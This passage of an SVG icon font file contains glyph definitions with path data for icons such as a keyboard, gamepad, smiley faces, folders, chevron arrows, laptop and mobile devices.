52.25-7.75t 52.25-21.5q 9.5-4.75 22.25-4.75q 30.5,0 77.5,28q 5.5,3 7.75,4.25q 7.75,4 15.5-0.5q 7.75-5 7.75-13.75z"  />
<glyph unicode="&#xf11c;" d="M 96,92l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 128,156l0-24 q0-4 -4-4l-56,0 q-4,0 -4,4l0,24 q0,4 4,4l 56,0 q 4,0 4-4zM 96,220l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 352,92l0-24 q0-4 -4-4 l-216,0 q-4,0 -4,4l0,24 q0,4 4,4l 216,0 q 4,0 4-4zM 192,156l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 160,220l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 256,156l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4 l 24,0 q 4,0 4-4zM 224,220l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 320,156l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 416,92l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 288,220l0-24  q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 352,220l0-24 q0-4 -4-4l-24,0 q-4,0 -4,4l0,24 q0,4 4,4l 24,0 q 4,0 4-4zM 416,220l0-88 q0-4 -4-4l-56,0 q-4,0 -4,4l0,24 q0,4 4,4l 28,0 l0,60 q0,4 4,4l 24,0 q 4,0 4-4zM 448,32l0,224 l-416,0 l0-224  l 416,0 zM 480,256l0-224 q0-13.25 -9.375-22.625t-22.625-9.375l-416,0 q-13.25,0 -22.625,9.375t-9.375,22.625l0,224 q0,13.25 9.375,22.625t 22.625,9.375l 416,0 q 13.25,0 22.625-9.375t 9.375-22.625z" horiz-adv-x="480"  />
<glyph unicode="&#xf11b;" d="M 208,112l0,32 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-32,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-32 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 32,0 q 3.5,0 5.75,2.25t 2.25,5.75l0,48 l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 352,96q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375 t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 416,160q0,13.25 -9.375,22.625t-22.625,9.375t-22.625-9.375t-9.375-22.625t 9.375-22.625t 22.625-9.375t 22.625,9.375t 9.375,22.625zM 480,128q0-53 -37.5-90.5t-90.5-37.5q-48,0 -84.5,32l-55,0 q-36.5-32 -84.5-32q-53,0 -90.5,37.5 t-37.5,90.5t 37.5,90.5t 90.5,37.5l 224,0 q 53,0 90.5-37.5t 37.5-90.5z" horiz-adv-x="480"  />
<glyph unicode="&#xf11a;" d="M 288,112q0-6.5 -4.75-11.25t-11.25-4.75l-160,0 q-6.5,0 -11.25,4.75t-4.75,11.25t 4.75,11.25t 11.25,4.75l 160,0 q 6.5,0 11.25-4.75t 4.75-11.25zM 160,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 288,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375 t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 352,160q0,32.5 -12.75,62.125t-34.125,51t-51,34.125t-62.125,12.75t-62.125-12.75t-51-34.125t-34.125-51t-12.75-62.125t 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75t 62.125,12.75t 51,34.125t 34.125,51t 12.75,62.125zM 384,160 q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf119;" d="M 283.5,76.75q 2-6.25 -1-12.125t-9.25-7.875t-12.25,1t-8,9.5q-6.25,20 -23.125,32.375t-37.875,12.375t-37.875-12.375t-23.125-32.375q-2-6.5 -7.875-9.5t-12.125-1q-6.5,2 -9.5,7.875t-1,12.125q 9.25,30.25 34.5,48.75t 57,18.5t 57-18.5t 34.5-48.75zM 160,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375 t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 288,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 352,160q0,32.5 -12.75,62.125t-34.125,51t-51,34.125t-62.125,12.75t-62.125-12.75t-51-34.125t-34.125-51 t-12.75-62.125t 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75t 62.125,12.75t 51,34.125t 34.125,51t 12.75,62.125zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf118;" d="M 283.5,115.25q-9.25-30.25 -34.5-48.75t-57-18.5t-57,18.5t-34.5,48.75q-2,6.25 1,12.125t 9.5,7.875q 6.25,2 12.125-1t 7.875-9.5q 6.25-20 23.125-32.375t 37.875-12.375t 37.875,12.375t 23.125,32.375q 2,6.5 8,9.5t 12.25,1t 9.25-7.875t 1-12.125zM 160,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625 t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 288,224q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 352,160q0,32.5 -12.75,62.125t-34.125,51t-51,34.125t-62.125,12.75t-62.125-12.75t-51-34.125t-34.125-51t-12.75-62.125 t 12.75-62.125t 34.125-51t 51-34.125t 62.125-12.75t 62.125,12.75t 51,34.125t 34.125,51t 12.75,62.125zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf117;" d="M 232,288q 23.25,0 39.625-16.375t 16.375-39.625l0-176 q0-23 -16.375-39.5t-39.625-16.5l-176,0 q-23.25,0 -39.625,16.5t-16.375,39.5l0,176 q0,23.25 16.375,39.625t 39.625,16.375l 176,0 zM 256,56l0,176 q0,10 -7,17t-17,7l-176,0 q-10,0 -17-7t-7-17l0-176 q0-10 7-17t 17-7l 176,0 q 10,0 17,7t 7,17z M 216,160q 3.5,0 5.75-2.25t 2.25-5.75l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-144,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 144,0 z" horiz-adv-x="288"  />
<glyph unicode="&#xf116;" d="M 224,152l0-16 q0-3.5 -2.25-5.75t-5.75-2.25l-56,0 l0-56 q0-3.5 -2.25-5.75t-5.75-2.25l-16,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,56 l-56,0 q-3.5,0 -5.75,2.25t-2.25,5.75l0,16 q0,3.5 2.25,5.75t 5.75,2.25l 56,0 l0,56 q0,3.5 2.25,5.75t 5.75,2.25l 16,0 q 3.5,0 5.75-2.25t 2.25-5.75l0-56 l 56,0 q 3.5,0 5.75-2.25t 2.25-5.75zM 256,56l0,176 q0,10 -7,17t-17,7l-176,0 q-10,0 -17-7 t-7-17l0-176 q0-10 7-17t 17-7l 176,0 q 10,0 17,7t 7,17zM 288,232l0-176 q0-23 -16.375-39.5t-39.625-16.5l-176,0 q-23.25,0 -39.625,16.5t-16.375,39.5l0,176 q0,23.25 16.375,39.625t 39.625,16.375l 176,0 q 23.25,0 39.625-16.375t 16.375-39.625z" horiz-adv-x="288"  />
<glyph unicode="&#xf115;" d="M 445.25,151.25q0,8.75 -13.25,8.75l-272,0 q-10,0 -21.375-5.375t-17.875-13.125l-73.5-90.75q-4.5-6 -4.5-10q0-8.75 13.25-8.75l 272,0 q 10,0 21.5,5.5t 17.75,13.25l 73.5,90.75q 4.5,5.5 4.5,9.75zM 160,192l 192,0 l0,40 q0,10 -7,17t-17,7l-144,0 q-10,0 -17,7t-7,17l0,16 q0,10 -7,17t-17,7l-80,0 q-10,0 -17-7t-7-17 l0-213.25 l 64,78.75q 11,13.25 29,21.875t 35,8.625zM 477.25,151.25q0-15.5 -11.5-30l-73.75-90.75q-10.75-13.25 -29-21.875t-35-8.625l-272,0 q-23,0 -39.5,16.5t-16.5,39.5l0,240 q0,23 16.5,39.5t 39.5,16.5l 80,0 q 23,0 39.5-16.5t 16.5-39.5l0-8 l 136,0 q 23,0 39.5-16.5t 16.5-39.5l0-40 l 48,0 q 13.5,0 24.75-6.125t 16.75-17.625q 3.75-8 3.75-17z " horiz-adv-x="480"  />
<glyph unicode="&#xf114;" d="M 384,56l0,176 q0,10 -7,17t-17,7l-176,0 q-10,0 -17,7t-7,17l0,16 q0,10 -7,17t-17,7l-80,0 q-10,0 -17-7t-7-17l0-240 q0-10 7-17t 17-7l 304,0 q 10,0 17,7t 7,17zM 416,232l0-176 q0-23 -16.5-39.5t-39.5-16.5l-304,0 q-23,0 -39.5,16.5t-16.5,39.5l0,240 q0,23 16.5,39.5t 39.5,16.5l 80,0  q 23,0 39.5-16.5t 16.5-39.5l0-8 l 168,0 q 23,0 39.5-16.5t 16.5-39.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf113;" d="M 160,80q0-10 -3.125-20.5t-10.75-19t-18.125-8.5t-18.125,8.5t-10.75,19t-3.125,20.5t 3.125,20.5t 10.75,19t 18.125,8.5t 18.125-8.5t 10.75-19t 3.125-20.5zM 320,80q0-10 -3.125-20.5t-10.75-19t-18.125-8.5t-18.125,8.5t-10.75,19t-3.125,20.5t 3.125,20.5t 10.75,19t 18.125,8.5t 18.125-8.5t 10.75-19t 3.125-20.5zM 360,80 q0,30 -17.25,51t-46.75,21q-10.25,0 -48.75-5.25q-17.75-2.75 -39.25-2.75t-39.25,2.75q-38,5.25 -48.75,5.25q-29.5,0 -46.75-21t-17.25-51q0-22 8-38.375t 20.25-25.75t 30.5-15t 35-7.375t 37.25-1.75l 42,0 q 20.5,0 37.25,1.75t 35,7.375t 30.5,15t 20.25,25.75t 8,38.375zM 416,124q0-51.75 -15.25-82.75q-9.5-19.25 -26.375-33.25t-35.25-21.5 t-42.5-11.875t-42.875-5.5t-41.75-1.125q-19.5,0 -35.5,0.75t-36.875,3.125t-38.125,7.5t-34.25,12.875t-30.25,20.25t-21.5,28.75q-15.5,30.75 -15.5,82.75q0,59.25 34,99q-6.75,20.5 -6.75,42.5q0,29 12.75,54.5q 27,0 47.5-9.875t 47.25-30.875q 36.75,8.75 77.25,8.75q 37,0 70-8q 26.25,20.5 46.75,30.25t 47.25,9.75q 12.75-25.5 12.75-54.5 q0-21.75 -6.75-42q 34-40 34-99.5z" horiz-adv-x="416"  />
<glyph unicode="&#xf112;" d="M 448,104q0-41.5 -31.75-112.75q-0.75-1.75 -2.625-6t-3.375-7.5t-3.25-5.5q-3-4.25 -7-4.25q-3.75,0 -5.875,2.5t-2.125,6.25q0,2.25 0.625,6.625t 0.625,5.875q 1.25,17 1.25,30.75q0,25.25 -4.375,45.25t-12.125,34.625t-20,25.25t-26.375,17.375t-33.25,10.625t-38.5,5.375t-43.875,1.5l-56,0 l0-64 q0-6.5 -4.75-11.25t-11.25-4.75t-11.25,4.75 l-128,128q-4.75,4.75 -4.75,11.25t 4.75,11.25l 128,128q 4.75,4.75 11.25,4.75t 11.25-4.75t 4.75-11.25l0-64 l 56,0 q 178.25,0 218.75-100.75q 13.25-33.5 13.25-83.25z"  />
<glyph unicode="&#xf111;" d="M 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf110;" d="M 124,48q0-15 -10.625-25.5t-25.375-10.5q-15,0 -25.5,10.5t-10.5,25.5t 10.5,25.5t 25.5,10.5q 14.75,0 25.375-10.5t 10.625-25.5zM 232,0q0-13.25 -9.375-22.625t-22.625-9.375t-22.625,9.375t-9.375,22.625t 9.375,22.625t 22.625,9.375t 22.625-9.375t 9.375-22.625zM 80,160q0-16.5 -11.75-28.25t-28.25-11.75t-28.25,11.75t-11.75,28.25 t 11.75,28.25t 28.25,11.75t 28.25-11.75t 11.75-28.25zM 340,48q0-11.5 -8.25-19.75t-19.75-8.25t-19.75,8.25t-8.25,19.75t 8.25,19.75t 19.75,8.25t 19.75-8.25t 8.25-19.75zM 132,272q0-18.25 -12.875-31.125t-31.125-12.875t-31.125,12.875t-12.875,31.125t 12.875,31.125t 31.125,12.875t 31.125-12.875t 12.875-31.125zM 248,320q0-20 -14-34t-34-14 t-34,14t-14,34t 14,34t 34,14t 34-14t 14-34zM 384,160q0-10 -7-17t-17-7t-17,7t-7,17t 7,17t 17,7t 17-7t 7-17zM 332,272q0-8.25 -5.875-14.125t-14.125-5.875t-14.125,5.875t-5.875,14.125t 5.875,14.125t 14.125,5.875t 14.125-5.875t 5.875-14.125z" horiz-adv-x="392"  />
<glyph unicode="&#xf10e;" d="M 192,304l0-176 q0-26 -10.125-49.625t-27.375-40.875t-40.875-27.375t-49.625-10.125l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 16,0 q 26.5,0 45.25,18.75t 18.75,45.25l0,8 q0,10 -7,17t-17,7l-56,0 q-20,0 -34,14t-14,34l0,96 q0,20 14,34t 34,14l 96,0 q 20,0 34-14t 14-34zM 416,304 l0-176 q0-26 -10.125-49.625t-27.375-40.875t-40.875-27.375t-49.625-10.125l-16,0 q-6.5,0 -11.25,4.75t-4.75,11.25l0,32 q0,6.5 4.75,11.25t 11.25,4.75l 16,0 q 26.5,0 45.25,18.75t 18.75,45.25l0,8 q0,10 -7,17t-17,7l-56,0 q-20,0 -34,14t-14,34l0,96 q0,20 14,34t 34,14l 96,0 q 20,0 34-14t 14-34z" horiz-adv-x="416"  />
<glyph unicode="&#xf10d;" d="M 192,144l0-96 q0-20 -14-34t-34-14l-96,0 q-20,0 -34,14t-14,34l0,176 q0,26 10.125,49.625t 27.375,40.875t 40.875,27.375t 49.625,10.125l 16,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-16,0 q-26.5,0 -45.25-18.75t-18.75-45.25l0-8 q0-10 7-17t 17-7l 56,0 q 20,0 34-14t 14-34z M 416,144l0-96 q0-20 -14-34t-34-14l-96,0 q-20,0 -34,14t-14,34l0,176 q0,26 10.125,49.625t 27.375,40.875t 40.875,27.375t 49.625,10.125l 16,0 q 6.5,0 11.25-4.75t 4.75-11.25l0-32 q0-6.5 -4.75-11.25t-11.25-4.75l-16,0 q-26.5,0 -45.25-18.75t-18.75-45.25l0-8 q0-10 7-17t 17-7l 56,0 q 20,0 34-14t 14-34z" horiz-adv-x="416"  />
<glyph unicode="&#xf10c;" d="M 192,296q-37,0 -68.25-18.25t-49.5-49.5t-18.25-68.25t 18.25-68.25t 49.5-49.5t 68.25-18.25t 68.25,18.25t 49.5,49.5t 18.25,68.25t-18.25,68.25t-49.5,49.5t-68.25,18.25zM 384,160q0-52.25 -25.75-96.375t-69.875-69.875t-96.375-25.75t-96.375,25.75t-69.875,69.875t-25.75,96.375t 25.75,96.375t 69.875,69.875t 96.375,25.75t 96.375-25.75 t 69.875-69.875t 25.75-96.375z" horiz-adv-x="384"  />
<glyph unicode="&#xf10b;" d="M 116,32q0,8.25 -5.875,14.125t-14.125,5.875t-14.125-5.875t-5.875-14.125t 5.875-14.125t 14.125-5.875t 14.125,5.875t 5.875,14.125zM 168,72l0,176 q0,3.25 -2.375,5.625t-5.625,2.375l-128,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-176 q0-3.25 2.375-5.625t 5.625-2.375l 128,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 120,284 q0,4 -4,4l-40,0 q-4,0 -4-4t 4-4l 40,0 q 4,0 4,4zM 192,288l0-256 q0-13 -9.5-22.5t-22.5-9.5l-128,0 q-13,0 -22.5,9.5t-9.5,22.5l0,256 q0,13 9.5,22.5t 22.5,9.5l 128,0 q 13,0 22.5-9.5t 9.5-22.5z" horiz-adv-x="192"  />
<glyph unicode="&#xf10a;" d="M 160,32q0,6.5 -4.75,11.25t-11.25,4.75t-11.25-4.75t-4.75-11.25t 4.75-11.25t 11.25-4.75t 11.25,4.75t 4.75,11.25zM 256,72l0,240 q0,3.25 -2.375,5.625t-5.625,2.375l-208,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-240 q0-3.25 2.375-5.625t 5.625-2.375l 208,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 288,312l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-208,0  q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 208,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="288"  />
<glyph unicode="&#xf109;" d="M 104,64q-16.5,0 -28.25,11.75t-11.75,28.25l0,176 q0,16.5 11.75,28.25t 28.25,11.75l 272,0 q 16.5,0 28.25-11.75t 11.75-28.25l0-176 q0-16.5 -11.75-28.25t-28.25-11.75l-272,0 zM 96,280l0-176 q0-3.25 2.375-5.625t 5.625-2.375l 272,0 q 3.25,0 5.625,2.375t 2.375,5.625l0,176 q0,3.25 -2.375,5.625t-5.625,2.375l-272,0 q-3.25,0 -5.625-2.375t-2.375-5.625z M 440,48l 40,0 l0-24 q0-10 -11.75-17t-28.25-7l-400,0 q-16.5,0 -28.25,7t-11.75,17l0,24 l 40,0 l 400,0 zM 260,24q 4,0 4,4t-4,4l-40,0 q-4,0 -4-4t 4-4l 40,0 z" horiz-adv-x="480"  />
<glyph unicode="&#xf108;" d="M 448,136l0,208 q0,3.25 -2.375,5.625t-5.625,2.375l-400,0 q-3.25,0 -5.625-2.375t-2.375-5.625l0-208 q0-3.25 2.375-5.625t 5.625-2.375l 400,0 q 3.25,0 5.625,2.375t 2.375,5.625zM 480,344l0-272 q0-16.5 -11.75-28.25t-28.25-11.75l-136,0 q0-9.25 4-19.375t 8-17.75t 4-10.875q0-6.5 -4.75-11.25t-11.25-4.75l-128,0 q-6.5,0 -11.25,4.75 t-4.75,11.25q0,3.5 4,11t 8,17.5t 4,19.5l-136,0 q-16.5,0 -28.25,11.75t-11.75,28.25l0,272 q0,16.5 11.75,28.25t 28.25,11.75l 400,0 q 16.5,0 28.25-11.75t 11.75-28.25z" horiz-adv-x="480"  />
<glyph unicode="&#xf107;" d="M 268.75,200q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 98.25-98.25l 98.25,98.25q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="288"  />
<glyph unicode="&#xf106;" d="M 268.75,88q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-98.25,98.25l-98.25-98.25q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="288"  />
<glyph unicode="&#xf105;" d="M 148.75,144q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="160"  />
<glyph unicode="&#xf104;" d="M 156.75,248q0-3.25 -2.5-5.75l-98.25-98.25l 98.25-98.25q 2.5-2.5 2.5-5.75t-2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="160"  />
<glyph unicode="&#xf103;" d="M 268.75,168q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 98.25-98.25l 98.25,98.25q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75zM 268.75,264q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75 t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 98.25-98.25l 98.25,98.25q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="288"  />
<glyph unicode="&#xf102;" d="M 268.75,56q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-98.25,98.25l-98.25-98.25q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75zM 268.75,152q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-98.25,98.25l-98.25-98.25 q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="288"  />
<glyph unicode="&#xf101;" d="M 148.75,144q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75zM 244.75,144q0-3.25 -2.5-5.75l-116.5-116.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-12.5,12.5q-2.5,2.5 -2.5,5.75t 2.5,5.75 l 98.25,98.25l-98.25,98.25q-2.5,2.5 -2.5,5.75t 2.5,5.75l 12.5,12.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 116.5-116.5q 2.5-2.5 2.5-5.75z" horiz-adv-x="256"  />
<glyph unicode="&#xf100;" d="M 156.75,40q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75t-2.5-5.75l-98.25-98.25l 98.25-98.25q 2.5-2.5 2.5-5.75zM 252.75,40q0-3.25 -2.5-5.75l-12.5-12.5q-2.5-2.5 -5.75-2.5t-5.75,2.5l-116.5,116.5q-2.5,2.5 -2.5,5.75 t 2.5,5.75l 116.5,116.5q 2.5,2.5 5.75,2.5t 5.75-2.5l 12.5-12.5q 2.5-2.5 2.5-5.75t-2.5-5.75l-98.25-98.25l 98.25-98.25q 2.5-2.5 2.5-5.75z" horiz-adv-x="256"  />
<glyph unicode="&#xf0fe;" d="M 320,144l0,32 q0,6.5 -4.75,11.25t-11.25,4.75l-80,0 l0,80 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-80 l-80,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-32 q0-6.5 4.75-11.25t 11.25-4.75l 80,0 l0-80 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,80 l 80,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,280l0-240  q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf0fd;" d="M 320,48l0,224 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-80 l-128,0 l0,80 q0,6.5 -4.75,11.25t-11.25,4.75l-32,0 q-6.5,0 -11.25-4.75t-4.75-11.25l0-224 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25l0,80 l 128,0 l0-80 q0-6.5 4.75-11.25t 11.25-4.75l 32,0 q 6.5,0 11.25,4.75t 4.75,11.25zM 384,280l0-240  q0-29.75 -21.125-50.875t-50.875-21.125l-240,0 q-29.75,0 -50.875,21.125t-21.125,50.875l0,240 q0,29.75 21.125,50.875t 50.875,21.125l 240,0 q 29.75,0 50.875-21.125t 21.125-50.875z" horiz-adv-x="384"  />
<glyph unicode="&#xf0fc;" d="M 160,160l0,96 l-64,0 l0-64 q0-13.25 9.375-22.625t 22.625-9.375l 32,0 zM 416,48l0-48 l-288,0 l0,48 l 32,48l-32,0 q-39.75,0 -67.875,28.125t-28.125,67.875l0,80 l-16,16l 8,32l 120,0 l 8,32l 240,0 l 8-48l-16-8l0-200 z" horiz-adv-x="416"  />
<glyph unicode="&#xf0fb;" d="M 480,144q-0.25-8 -72-24l-88-8l-56-16l-16,0 l-73.25-88l 17.25,0 q 6.5,0 11.25-1.125t 4.75-2.875t-4.75-2.875t-11.25-1.125l-24,0 l-40,0 l-16,0 l0,8 l 16,0 l0,104 l-40,0 l-48-56l-24,0 l-8,8l0,48 l 8,0 l0,8 l 32,0 l0,2 l-48,6l0,32 l 48,6l0,2 l-32,0 l0,8 l-8,0 l0,48 l 8,8l 24,0 l 48-56l 40,0 l0,104 l-16,0 l0,8 l 16,0 l 40,0 l 24,0  q 6.5,0 11.25-1.125t 4.75-2.875t-4.75-2.875t-11.25-1.125l-17.25,0 l 73.25-88l 16,0 l 56-16l 88-8q 65.25-14.5 71.75-23.25z" horiz-adv-x="480"  />
<glyph unicode="&#xf0fa;" d="M 320,104l0,48 q0,3.5 -2.25,5.75t-5.75,2.25l-56,0 l0,56 q0,3.5 -2.25,5.75t-5.75,2.25l-48,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-56 l-56,0 q-3.5,0 -5.75-2.25t-2.25-5.75l0-48 q0-3.5 2.25-5.75t 5.75-2.25l 56,0 l0-56 q0-3.5 2.25-5.75t 5.75-2.25l 48,0 q 3.5,0 5.75,2.25t 2.25,5.75l0,56 l 56,0 q 3.5,0 5.75,2.25t 2.25,5.75zM 160,288l 128,0 l0,32 l-128,0 l0-32 zM 64,288l0-320 l-8,0  q-23,0 -39.5,16.5t-16.5,39.5l0,208 q0,23 16.5,39.5t 39.5,16.5l 8,0 zM 360,288l0-320 l-272,0 l0,320 l 40,0 l0,40 q0,10 7,17t 17,7l 144,0 q 10,0 17-7t 7-17l0-40 l 40,0 zM 448,232l0-208 q0-23 -16.5-39.5t-39.5-16.5l-8,0 l0,320 l 8,0 q 23,0 39.5-16.5t 16.5-39.5z"  />
